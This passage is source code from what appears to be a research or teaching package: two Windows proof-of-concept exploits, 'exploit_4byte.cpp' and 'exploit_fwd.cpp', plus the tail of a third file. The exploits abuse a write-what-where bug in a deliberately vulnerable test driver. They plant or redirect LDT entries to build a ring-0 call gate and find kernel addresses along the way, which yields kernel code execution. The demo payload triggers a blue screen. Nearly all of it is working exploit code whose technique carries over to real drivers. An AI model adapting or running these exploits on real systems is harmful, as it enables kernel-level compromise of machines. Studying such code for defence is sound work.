  if(!DeviceIoControl(hDevice,


                      IOCTL_BUGGY_QUERY_VERSION,


                      NULL,


                      0,


                      VersionBuffer,


                      sizeof(VersionBuffer),


                      &BytesReturned,


                      NULL))


  {


    // Return


    printf("[-] DeviceIoControl() failed. LastError: 0x%.8x\n",(UINT)GetLastError());


    return FALSE;


  }





  // Output 


  printf("[+] Driver Version:         %s\n",VersionBuffer);


  return TRUE;


}





// ------------------------------------------------------------------


// SendFinishSignal()


// ------------------------------------------------------------------


static BOOL


SendFinishSignal(HANDLE hDevice)


{


  DWORD BytesReturned;





  /* This time we're not interested whether the IOCTL returns STATUS_SUCCESS or not - 


   * our job is just to inform the driver about our program finishing its work */


  DeviceIoControl(hDevice,


                  IOCTL_BUGGY_FINISH,


                  NULL,


                  0,


                  NULL,


                  0,


                  &BytesReturned,


                  NULL);





  // Return


  return TRUE;


}





// ------------------------------------------------------------------


// MySetLDTSelectorEntry()


// ------------------------------------------------------------------


static int 


MySetLDTSelectorEntry(HANDLE hProcess,


                      DWORD dwSelector,


                      LPLDT_ENTRY lpSelectorEntry)


{


  DWORD buf[4];


  buf[0] = dwSelector & 0xFFFFFFF8;  // selector --> offset


  buf[1] = 8;                        // size (multiple selectors may be added)


  memcpy(&buf[2], lpSelectorEntry, 8);


  return NtSetInformationProcess(hProcess,10,buf,16);


}










source/Exploit_4ByteOverwrite/exploit_4byte.cpp


source/Exploit_4ByteOverwrite/exploit_4byte.cpp

//


// Proof of Concept exploit of a write-what-where vulnerability


// using a 4-byte custom LDT entry overwrite


// by Matthew "j00ru" Jurczyk and Gynvael Coldwind


//


// MinGW GCC (mingw.org):


// g++ -Wall -Wextra exploit_4byte.cpp -lntdll -lpsapi -masm=intel


//


#include <stdio.h>


#include <stdlib.h>


#include <windows.h>


#include <winioctl.h>


#include <winbase.h>


#include <ntdef.h>


#include <psapi.h>


#include "../driver.h"





// ------------------------------------------------------------------


// Global declarations


// ------------------------------------------------------------------





extern "C" NTSTATUS STDCALL


NtSetInformationProcess(


   IN HANDLE ProcessHandle,


   IN ULONG ProcessInformationClass,


   IN PVOID ProcessInformation,


   IN ULONG ProcessInformationLength);





static LPVOID GetDriverImageBase(PCHAR BaseName);


static LPVOID GetKernelProcAddress(PCHAR KernelModule, PCHAR FunctionName);


static BOOL GetDriverVersion(HANDLE hDevice);


static BOOL SendFinishSignal(HANDLE hDevice);


static WORD GetFS(void);


static int MySetLDTSelectorEntry(HANDLE hProcess,


                         DWORD dwSelector,


                         LPLDT_ENTRY lpSelectorEntry);


static VOID PayloadProc();


static VOID GoKernel();


static WORD GetLDT();





// ------------------------------------------------------------------


// Global variables


// ------------------------------------------------------------------





const char DeviceName[] = "\\\\.\\WWWVuln";


DWORD LDT;


VOID (*KeBugCheck)(DWORD);





// ------------------------------------------------------------------


// PayloadProc()


// ring 0


// ------------------------------------------------------------------


static VOID


PayloadProc()


{


 // Show a BSoD with error 31337


 KeBugCheck(0x31337);





 // In case it returns (wtf?), make a debugger stop


 // or hang the process


 asm("int3");


 for(;;);


}





// ------------------------------------------------------------------


// GoKernel()


// ------------------------------------------------------------------


static VOID GoKernel()


{


  // Enter through the gate to ring0


  Sleep(0); // We don't like context switches


  asm("call 4:0x13371337");


}





// ------------------------------------------------------------------


// main()


// ------------------------------------------------------------------


int main()


{


 HANDLE hDevice;


 DWORD BytesReturned;


 LDT_ENTRY ldt;





 // Display some banner


 puts("Proof of Concept exploit of a write-what-where vulnerability\n"


      "using a 4-byte custom LDT entry overwrite\n"


      "by Matthew \"j00ru\" Jurczyk and Gynvael Coldwind");





 // Get address of KeBugCheck (ring0 function, used in PoC shellcode)


 KeBugCheck = (typeof(KeBugCheck))GetKernelProcAddress(


     (PCHAR)"ntoskrnl.exe",


     (PCHAR)"KeBugCheck");


 printf("[+] KeBugCheck:             0x%.8x\n", (UINT)KeBugCheck);





 // Bind current thread to the first core/CPU


 printf("[+] SetAffinityThread:      0x%.8x\n",


     (UINT)SetThreadAffinityMask(GetCurrentThread(), 1));





 // Get FS selector entry


 printf("[+] GetThreadSelectorEntry: 0x%.8x\n",


     GetThreadSelectorEntry(GetCurrentThread(), GetFS(), &ldt));





 // Setup a custom LDT entry, with the Call Gate and Data Segment


 // structure differences and similarities taken into account


 ldt.LimitLow = (WORD)((UINT)PayloadProc & 0xFFFF); // Offset Low


 ldt.BaseLow  = 0x0008; // Segment Selector





 printf("[+] MySetLDTSelectorEntry:  0x%.8x\n",


     MySetLDTSelectorEntry(GetCurrentProcess(), 0x07, &ldt));





 // Get LDT address in kernel space


 GetThreadSelectorEntry(GetCurrentThread(), GetLDT(), &ldt);


 DWORD LdtBaseAddress = ldt.BaseLow |


   (ldt.HighWord.Bytes.BaseMid << 16) |


   (ldt.HighWord.Bytes.BaseHi << 24);





 printf("[+] LDT Base Address:       0x%.8x\n", (UINT)LdtBaseAddress);





 // Create a DWORD to overwrite the entry in the LDT


 LDT = ((UINT)PayloadProc & 0xFFFF0000) |  // Offset high


       (1 << 15)                        |  // Present


       (3 << 13)                        |  // DPL


       (0x0C << 8);                        // Call gate





 // Connect to the vulnerable driver


 hDevice = CreateFileA(DeviceName, GENERIC_READ | GENERIC_WRITE, 0,


     NULL, OPEN_EXISTING, 0, NULL);


 if(hDevice == NULL)


 {


   // Ups, no driver?


   printf("[-] CreateFileA failed. LastError: 0x%.8x\n"


          "    (forgot to load the driver?)\n",


          (UINT)GetLastError());





   // Eject!


   return 1;


 }


 puts("[+] Opened a handle to the vulnerable device driver");





 // Get version


 // (well, it's our driver, so we would like to know ;p)


 if(!GetDriverVersion(hDevice))


   return 1;





 // Send a packet to exploit the write-what-where in the driver


 DeviceIoControl(hDevice,


                 IOCTL_BUGGY_COPY_DATA,


                 &LDT,


                 sizeof(LDT),


                 (LPVOID)(LdtBaseAddress+4),


                 sizeof(LDT),


                 &BytesReturned,


                 NULL);





 // At this moment, it's done. It's exploited. Let's wait for the user


 // to prepare for the KeBugCheck aka Blue Screen of Death and hit Enter


 puts("[+] The CopyData() IOCTL signal sent.\n"


      "    Press ENTER to trigger a kernel-mode code execution (aka BSoD)...");


 getchar();





 // Go kernel!


 GoKernel();





 // In the current state of things, this will never be reached


 // But anyway, let's perform a cleanup and exit


 SendFinishSignal(hDevice);


 CloseHandle(hDevice);


 return 0;


}





// ------------------------------------------------------------------


// GetFS()


// ------------------------------------------------------------------


static WORD


GetFS(void)


{


 // Get FS


 WORD fs;


 __asm("mov ax, fs" : "=a"(fs));


 return fs;


}





// ------------------------------------------------------------------


// GetLDT()


// ------------------------------------------------------------------


WORD


GetLDT(void)


{


  WORD LDTSelector = 0;


  __asm("sldt %0" : "=a"(LDTSelector));


  return LDTSelector;


}





// ------------------------------------------------------------------


// GetDriverImageBase()


// ------------------------------------------------------------------


static LPVOID


GetDriverImageBase(PCHAR BaseName)


{


 LPVOID* BaseAddresses;


 LPVOID  lpDriverAddr = NULL;


 DWORD   cbNeeded;


 ULONG   i;





 // How many drivers are there ?


 EnumDeviceDrivers(NULL, 0, &cbNeeded);





 // Alloc memory


 BaseAddresses = (LPVOID*)malloc(sizeof(LPVOID)*cbNeeded / sizeof(LPVOID));





 // Get drivers!


 if(!EnumDeviceDrivers(BaseAddresses,cbNeeded,&cbNeeded))


   return NULL;





 // Check names


 for(i = 0; i < cbNeeded / sizeof(LPVOID); i++)


 {


   CHAR FileName[MAX_PATH];


   GetDeviceDriverBaseNameA(BaseAddresses[i], FileName, sizeof(FileName));





   // Is this it?


   if(!_stricmp(FileName, BaseName))


   {


     // Yep!


     lpDriverAddr = BaseAddresses[i];


     break;


   }


 }





 // Free and return


 free(BaseAddresses);


 return lpDriverAddr;


}





// ------------------------------------------------------------------


// GetKernelProcAddress()


// ------------------------------------------------------------------


static LPVOID


GetKernelProcAddress(PCHAR KernelModule, PCHAR FunctionName)


{


 // Load the module


 HMODULE hModule = LoadLibraryEx(KernelModule, NULL, DONT_RESOLVE_DLL_REFERENCES);


 if(hModule == NULL)


   return NULL;





 // Get address


 LPVOID pFunction = (LPVOID)GetProcAddress(hModule, FunctionName);


 if(pFunction == NULL)


   return NULL;





 // Get base address in ring0


 MODULEINFO ModuleInfo;


 if(!GetModuleInformation(GetCurrentProcess(), hModule, &ModuleInfo, sizeof(ModuleInfo)))


   return NULL;





 // Caclc ring0 VA and return


 return (LPVOID)((DWORD)pFunction - (DWORD)hModule + (UINT)GetDriverImageBase(KernelModule));


}





// ------------------------------------------------------------------


// GetDriverVersion()


// ------------------------------------------------------------------


static BOOL


GetDriverVersion(HANDLE hDevice)


{


 static char VersionBuffer[4096];


 DWORD BytesReturned;





 // Query for a version


 if(!DeviceIoControl(hDevice,


                     IOCTL_BUGGY_QUERY_VERSION,


                     NULL,


                     0,


                     VersionBuffer,


                     sizeof(VersionBuffer),


                     &BytesReturned,


                     NULL))


 {


   // Return


   printf("[-] DeviceIoControl() failed. LastError: 0x%.8x\n",(UINT)GetLastError());


   return FALSE;


 }





 // Output


 printf("[+] Driver Version:         %s\n",VersionBuffer);


 return TRUE;


}





// ------------------------------------------------------------------


// SendFinishSignal()


// ------------------------------------------------------------------


static BOOL


SendFinishSignal(HANDLE hDevice)


{


 DWORD BytesReturned;





 /* This time we're not interested whether the IOCTL returns STATUS_SUCCESS or not -


  * our job is just to inform the driver about our program finishing its work */


 DeviceIoControl(hDevice,


                 IOCTL_BUGGY_FINISH,


                 NULL,


                 0,


                 NULL,


                 0,


                 &BytesReturned,


                 NULL);





 // Return


 return TRUE;


}





// ------------------------------------------------------------------


// MySetLDTSelectorEntry()


// ------------------------------------------------------------------


static int


MySetLDTSelectorEntry(HANDLE hProcess,


                     DWORD dwSelector,


                     LPLDT_ENTRY lpSelectorEntry)


{


 DWORD buf[4];


 buf[0] = dwSelector & 0xFFFFFFF8;  // selector --> offset


 buf[1] = 8;                        // size (multiple selectors may be added)


 memcpy(&buf[2], lpSelectorEntry, 8);


 return NtSetInformationProcess(hProcess,10,buf,16);


}










source/Exploit_RedirectingLDT/exploit_fwd.cpp


source/Exploit_RedirectingLDT/exploit_fwd.cpp

// 


// Proof of Concept exploit of a write-what-where vulnerability


// using LDT forwarding/redirecting to user-land memory


// by Matthew "j00ru" Jurczyk and Gynvael Coldwind


//


// MinGW GCC (mingw.org):


// g++ -Wall -Wextra exploit_fwd.cpp -lntdll -lpsapi -masm=intel


//


#include <stdio.h>


#include <stdlib.h>


#include <windows.h>


#include <winioctl.h>


#include <winbase.h>


#include <ntdef.h>


#include <psapi.h>


#include "../driver.h"





// ------------------------------------------------------------------


// Global declarations


// ------------------------------------------------------------------





extern "C" NTSTATUS STDCALL


NtSetInformationProcess(


    IN HANDLE ProcessHandle,


    IN ULONG ProcessInformationClass,


    IN PVOID ProcessInformation,


    IN ULONG ProcessInformationLength);





extern "C" NTSTATUS STDCALL


NtQuerySystemInformation(ULONG,PVOID,ULONG,PULONG);





static LPVOID GetDriverImageBase(PCHAR BaseName);


static LPVOID GetKernelProcAddress(PCHAR KernelModule, PCHAR FunctionName);


static BOOL GetDriverVersion(HANDLE hDevice);


static BOOL SendFinishSignal(HANDLE hDevice);


static WORD GetFS(void);


static int MySetLDTSelectorEntry(HANDLE hProcess,


                          DWORD dwSelector,


                          LPLDT_ENTRY lpSelectorEntry);


static VOID PayloadProc();


static VOID GoKernel();


static LPVOID GetHandleAddress(ULONG dwProcessId, USHORT hObject);





// Structures





struct _CallGate


{


  WORD OffsetLow;


  WORD Segment;


  WORD Flags;


  WORD OffsetHi;


} *CallGate;





typedef struct _IO_STATUS_BLOCK {


  _ANONYMOUS_UNION union {


    NTSTATUS  Status;


    PVOID  Pointer;


  } DUMMYUNIONNAME;


  ULONG_PTR  Information;


} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;





typedef VOID WINAPI (*PIO_APC_ROUTINE)(


    PVOID ApcContext,


    PIO_STATUS_BLOCK IoStatusBlock,


    ULONG Reserved);





typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {


    USHORT UniqueProcessId;


    USHORT CreatorBackTraceIndex;


    UCHAR ObjectTypeIndex;


    UCHAR HandleAttributes;


    USHORT HandleValue;


    PVOID Object;


    ULONG GrantedAccess;


} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;





typedef struct _SYSTEM_HANDLE_INFORMATION {


    ULONG NumberOfHandles;


    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[ 1 ];


} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;





// ------------------------------------------------------------------


// Global variables


// ------------------------------------------------------------------





const char DeviceName[] = "\\\\.\\WWWVuln";


VOID (*KeBugCheck)(DWORD);





// ------------------------------------------------------------------


// PayloadProc()


// ring 0


// ------------------------------------------------------------------


static VOID


PayloadProc()


{


  // Show a BSoD with error 31337


  KeBugCheck(0x31337);





  // In case it returns (wtf?), make a debugger stop


  // or hang the process


  asm("int3");


  for(;;);


}





// ------------------------------------------------------------------


// GoKernel()


// ------------------------------------------------------------------


static VOID GoKernel()


{


  // Enter through the gate to ring0


  Sleep(0); // Force context switch


  asm("call 4:0x13371337");


}





// ------------------------------------------------------------------


// main()


// ------------------------------------------------------------------


int main()


{


  HANDLE hDevice;


  DWORD BytesReturned;


  LDT_ENTRY ldt;





  // Display some banner


  puts("Proof of Concept exploit of a write-what-where vulnerability\n"


       "using LDT forwarding/redirecting to user-land memory\n"


       "by Matthew \"j00ru\" Jurczyk and Gynvael Coldwind");





  // Get address of KeBugCheck (ring0 function, used in PoC shellcode)


  KeBugCheck = (typeof(KeBugCheck))GetKernelProcAddress(


      (PCHAR)"ntoskrnl.exe",


      (PCHAR)"KeBugCheck");


  printf("[+] KeBugCheck:             0x%.8x\n", (UINT)KeBugCheck);





  // Bind current thread to the first core/CPU


  printf("[+] SetAffinityThread:      0x%.8x\n",


      (UINT)SetThreadAffinityMask(GetCurrentThread(), 1));





  // Get FS selector entry


  printf("[+] GetThreadSelectorEntry: 0x%.8x\n",


      GetThreadSelectorEntry(GetCurrentThread(), GetFS(), &ldt));





  // Setup a custom LDT entry, with the Call Gate and Data Segment


  // structure differences and similarities taken into account


  ldt.LimitLow = (WORD)((UINT)PayloadProc & 0xFFFF); // Offset Low


  ldt.BaseLow  = 0x0008; // Segment Selector


  ldt.HighWord.Bits.BaseHi  = 0x03; // Offset High (hi-hi-part to be exact)


  ldt.HighWord.Bits.BaseMid = 0x00; // Param count


  


  printf("[+] MySetLDTSelectorEntry:  0x%.8x\n",


      MySetLDTSelectorEntry(GetCurrentProcess(), 0x07, &ldt));





  // Get LDT address in kernel space


  GetThreadSelectorEntry(GetCurrentThread(), (9 << 3), &ldt);


  DWORD LdtBaseAddress = ldt.BaseLow |


    (ldt.HighWord.Bytes.BaseMid << 16) |


    (ldt.HighWord.Bytes.BaseHi << 24);


   


  printf("[+] LDT Base Address:       0x%.8x\n", (UINT)LdtBaseAddress);





  // Create a fake LDT


  CallGate = (typeof(CallGate))VirtualAlloc(


      (PVOID)0x03000000,


      0x10000,


      MEM_COMMIT | MEM_RESERVE,


      PAGE_EXECUTE_READWRITE);


  


  // Declare some struct and copy the four last bytes from LDT


#pragma pack(push,1)


  struct Value


  {


    BYTE BaseMid;


    WORD Flags;


    BYTE BaseHi;


  } Value;


#pragma pack(pop)


  memcpy(&Value,(BYTE*)&ldt+4,sizeof(DWORD));





  // Create as many callgates as possible!


  _CallGate *Pointer = CallGate;


  UINT i;


  for(i=0; i < 0x10000/sizeof(_CallGate); i++)


  {


    Pointer->OffsetLow = (WORD)((DWORD)PayloadProc & 0xFFFF);


    Pointer->Segment   = 8;


    Pointer->Flags     = 0xEC00;


    Pointer->OffsetHi  = (WORD)(((DWORD)PayloadProc>>16) & 0xFFFF);


    Pointer++;


  }





  // Setup the value


  Value.BaseMid             = 0;


  Value.BaseHi              = 0x03;





  // Duplicate a handle


  HANDLE hProcess;


  printf("[+] DuplicateHandle:        0x%.8x\n",


      DuplicateHandle(


        GetCurrentProcess(),


        GetCurrentProcess(),


        GetCurrentProcess(),


        &hProcess, NULL, FALSE, 0));


  printf("[+] hProcess:               0x%.8x\n", (UINT)hProcess);





  // Get current address of the KPROCESS structure


  USHORT dwProcess = (UINT)hProcess & 0xffff;


  LPVOID KPROCESS;


  printf("Current Process Address:    0x%.8x\n",


      (UINT)(KPROCESS=GetHandleAddress(GetCurrentProcessId(), dwProcess)));





  // Connect to the vulnerable driver


  hDevice = CreateFileA(DeviceName, GENERIC_READ | GENERIC_WRITE, 0,


      NULL, OPEN_EXISTING, 0, NULL);


  if(hDevice == NULL)


  {


    // Ups, no driver?


    printf("[-] CreateFileA failed. LastError: 0x%.8x\n"


           "    (forgot to load the driver?)\n",


           (UINT)GetLastError());





    // Eject!


    return 1;


  }


  puts("[+] Opened a handle to the vulnerable device driver");





  // Get version


  // (well, it's our driver, so we would like to know ;p)


  if(!GetDriverVersion(hDevice))


    return 1;





  // Calculate offset


  DWORD Offset = 0x20; // Default - XP, Vista


  DWORD WindowsVer = GetVersion();





  if((DWORD)(LOBYTE(LOWORD(WindowsVer))) == 7)


    Offset = 0x1c; // Window 7





  // Send a packet to exploit the write-what-where in the driver


  DeviceIoControl(hDevice,


                  IOCTL_BUGGY_COPY_DATA,


                  &Value,


                  sizeof(DWORD),


                  (LPVOID)((UINT)KPROCESS + Offset + 4), // Hardcoded offset


                  sizeof(ldt),


                  &BytesReturned,


                  NULL);








  // At this moment, it's done. It's exploited. Let's wait for the user


  // to prepare for the KeBugCheck aka Blue Screen of Death and hit Enter


  puts("[+] The CopyData() IOCTL signal sent.\n"


       "    Press ENTER to trigger a kernel-mode code execution (aka BSoD)...");


  getchar();





  // Go kernel!


  GoKernel();





  // In the current state of things, this will never be reached


  // But anyway, let's perform a cleanup and exit


  SendFinishSignal(hDevice);


  CloseHandle(hDevice);


  return 0;


}





// ------------------------------------------------------------------


// GetFS()


// ------------------------------------------------------------------


static WORD


GetFS(void)


{


  // Get FS


  WORD fs;


  __asm("mov ax, fs" : "=a"(fs));


  return fs;


}





// ------------------------------------------------------------------


// GetDriverImageBase()


// ------------------------------------------------------------------


static LPVOID


GetDriverImageBase(PCHAR BaseName)


{


  LPVOID* BaseAddresses;


  LPVOID  lpDriverAddr = NULL;


  DWORD   cbNeeded;


  ULONG   i;





  // How many drivers are there ?


  EnumDeviceDrivers(NULL, 0, &cbNeeded);





  // Alloc memory


  BaseAddresses = (LPVOID*)malloc(sizeof(LPVOID)*cbNeeded / sizeof(LPVOID));





  // Get drivers!


  if(!EnumDeviceDrivers(BaseAddresses,cbNeeded,&cbNeeded))


    return NULL;  





  // Check names


  for(i = 0; i < cbNeeded / sizeof(LPVOID); i++)


  {


    CHAR FileName[MAX_PATH];


    GetDeviceDriverBaseNameA(BaseAddresses[i], FileName, sizeof(FileName));





    // Is this it?


    if(!_stricmp(FileName, BaseName))


    {


      // Yep!


      lpDriverAddr = BaseAddresses[i];


      break;


    }


  }





  // Free and return


  free(BaseAddresses);


  return lpDriverAddr;


}





// ------------------------------------------------------------------


// GetKernelProcAddress()


// ------------------------------------------------------------------


static LPVOID 


GetKernelProcAddress(PCHAR KernelModule, PCHAR FunctionName)


{


  // Load the module


  HMODULE hModule = LoadLibraryEx(KernelModule, NULL, DONT_RESOLVE_DLL_REFERENCES);


  if(hModule == NULL)


    return NULL;





  // Get address


  LPVOID pFunction = (LPVOID)GetProcAddress(hModule, FunctionName);


  if(pFunction == NULL)


    return NULL;





  // Get base address in ring0


  MODULEINFO ModuleInfo;


  if(!GetModuleInformation(GetCurrentProcess(), hModule, &ModuleInfo, sizeof(ModuleInfo)))


    return NULL;





  // Caclc ring0 VA and return


  return (LPVOID)((DWORD)pFunction - (DWORD)hModule + (UINT)GetDriverImageBase(KernelModule));


}





// ------------------------------------------------------------------


// GetDriverVersion()


// ------------------------------------------------------------------


static BOOL 


GetDriverVersion(HANDLE hDevice)


{


  static char VersionBuffer[4096];


  DWORD BytesReturned;


  


  // Query for a version


  if(!DeviceIoControl(hDevice,


                      IOCTL_BUGGY_QUERY_VERSION,


                      NULL,


                      0,


                      VersionBuffer,


                      sizeof(VersionBuffer),


                      &BytesReturned,


                      NULL))


  {


    // Return


    printf("[-] DeviceIoControl() failed. LastError: 0x%.8x\n",(UINT)GetLastError());


    return FALSE;


  }





  // Output 


  printf("[+] Driver Version:         %s\n",VersionBuffer);


  return TRUE;


}





// ------------------------------------------------------------------


// SendFinishSignal()


// ------------------------------------------------------------------


static BOOL


SendFinishSignal(HANDLE hDevice)


{


  DWORD BytesReturned;





  /* This time we're not interested whether the IOCTL returns STATUS_SUCCESS or not - 


   * our job is just to inform the driver about our program finishing its work */


  DeviceIoControl(hDevice,


                  IOCTL_BUGGY_FINISH,


                  NULL,


                  0,


                  NULL,


                  0,


                  &BytesReturned,


                  NULL);





  // Return


  return TRUE;


}





// ------------------------------------------------------------------


// MySetLDTSelectorEntry()


// ------------------------------------------------------------------


static int 


MySetLDTSelectorEntry(HANDLE hProcess,


                      DWORD dwSelector,


                      LPLDT_ENTRY lpSelectorEntry)


{


  DWORD buf[4];


  buf[0] = dwSelector & 0xFFFFFFF8;  // selector --> offset


  buf[1] = 8;                        // size (multiple selectors may be added)


  memcpy(&buf[2], lpSelectorEntry, 8);


  return NtSetInformationProcess(hProcess,10,buf,16);


}





// ------------------------------------------------------------------


// GetHandleAddress()


// ------------------------------------------------------------------


LPVOID GetHandleAddress(ULONG dwProcessId, USHORT hObject)


{


  static BYTE HandleInformation[4096*16*16];


  DWORD BytesReturned;


  ULONG i;





  // Get handle information


  printf("[+] NtQuerySystemInformation: 0x%.8x\n",


      (UINT)NtQuerySystemInformation(16,HandleInformation,sizeof(HandleInformation),&BytesReturned));





  // Find handle


  PSYSTEM_HANDLE_INFORMATION HandleInfo = (typeof(HandleInfo))HandleInformation;


  PSYSTEM_HANDLE_TABLE_ENTRY_INFO CurrentHandle = &HandleInfo->Handles[0];





  for( i=0;i<HandleInfo->NumberOfHandles;CurrentHandle++,i++ )


  {


    // Is this it?


    if(CurrentHandle->UniqueProcessId == dwProcessId &&


       CurrentHandle->HandleValue     == (USHORT)hObject)


    {


      // Yep, return


      return CurrentHandle->Object;


    }


  }  





  // Nope, not found


  return NULL;


}








